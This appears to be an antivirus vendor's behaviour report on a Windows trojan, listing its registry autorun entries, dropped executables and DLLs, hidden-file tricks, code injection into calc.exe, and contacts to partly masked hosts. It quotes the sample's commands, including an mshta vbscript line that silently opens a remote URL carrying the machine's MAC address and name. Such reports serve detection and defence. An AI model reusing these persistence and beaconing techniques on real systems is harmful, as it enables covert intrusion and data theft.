Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler] '{C4560D12-CE25-4A2E-A5D4-B5070FCBE282}' = 'csiddll'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\Silverlight] 'Start' = '00000002'
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
- file extensions
Creates and executes the following:
- '%TEMP%\106.exe'
- '%TEMP%\small.exe'
- '%PROGRAM_FILES%\Docmentt\chsss.exe'
- '<SYSTEM32>\yswigl.exe'
- '%WINDIR%\46.exe'
- '<SYSTEM32>\Updata.exe'
- '%TEMP%\8003.exe'
- '%TEMP%\107.exe'
- '%TEMP%\001.exe'
Executes the following:
- '<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\ghjik.dll
- '<SYSTEM32>\findstr.exe' /c:"Physical Address"
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\tasklist.exe' /nh
- '%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://27##.com:800/gg/count.asp?ma## 00:00:00:00:00:01&pcname=118&userid=001
- '<SYSTEM32>\mshta.exe' vbscript:CreateObject("WScript.Shell").Run("iexplore http://27##.com:800/gg/count.asp?ma## 00:00:00:00:00:01&pcname=118&userid=001",0)(window.close)
- '<SYSTEM32>\cmd.exe' /c 375O540.bat
- '<SYSTEM32>\cmd.exe' /c %WINDIR%\46.bat
- '<SYSTEM32>\calc.exe'
- '<SYSTEM32>\conime.exe'
- '<SYSTEM32>\cmd.exe' /c "c:\support338945a0.bat"
- '<SYSTEM32>\rundll32.exe' aycn0.dll , InstallMyDll
- '<SYSTEM32>\regsvr32.exe' /s <SYSTEM32>\aycnk.dll
- '<SYSTEM32>\svchost.exe' -k netsvcs
Injects code into
the following system processes:
- <SYSTEM32>\calc.exe
Modifies file system :
Creates the following files:
- C:\SaveTxta902.txt
- <SYSTEM32>\dllcache\aycn0.dll
- %PROGRAM_FILES%\Docmentt\chsss.exe
- <SYSTEM32>\aycn0.dll
- %WINDIR%\46.exe
- %TEMP%\33223192000.jpg
- C:\support338945a0.bat
- <SYSTEM32>\aycnk.dll
- %TEMP%\575.aqq
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\lin[1].htm
- %TEMP%\1.txt
- %TEMP%\375O540.bat
- <SYSTEM32>\yswigl.exe
- <SYSTEM32>\ghjik.dll
- %WINDIR%\46.bat
- %TEMP%\40.exe
- %TEMP%\106.exe
- %TEMP%\107.exe
- %TEMP%\001.exe
- %TEMP%\small.exe
- %TEMP%\xiaoyu01.exe
- %TEMP%\8003.exe
- %TEMP%\606.exe
- <SYSTEM32>\Updata.exe
- <SYSTEM32>\CatRoot2\SetDns.dat
- <SYSTEM32>\Setup\d3dx9_36.dll
- %TEMP%\b2.exe
- %TEMP%\10003.exe
- %TEMP%\a1.vbs
- %TEMP%\ad006.exe
Sets the 'hidden' attribute to the following files:
- <SYSTEM32>\Darkbomb.dll
Deletes the following files:
- %WINDIR%\46.exe
- C:\SaveTxta902.txt
- %TEMP%\575.aqq
- %TEMP%\1.txt
- %TEMP%\small.exe
- <SYSTEM32>\Updata.exe
- %TEMP%\8003.exe
- C:\support338945a0.bat
- %TEMP%\107.exe
- <SYSTEM32>\calc.exe
Moves the following files:
- from %TEMP%\33223192000.jpg to <SYSTEM32>\Darkbomb.dll
Network activity:
Connects to:
- '27##.com':800
- 'www.su###qqface.com':80
- 'co###.haolj8.com':80
TCP:
HTTP GET requests:
- co###.haolj8.com/Tj.Asp?a=############################################################################
HTTP POST requests:
- www.su###qqface.com//lin//lin.asp
UDP:
- DNS ASK www.su###qqface.com
- DNS ASK 27##.com
- DNS ASK A.###Lj8.Com
- DNS ASK Co###.HaoLj8.Com
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
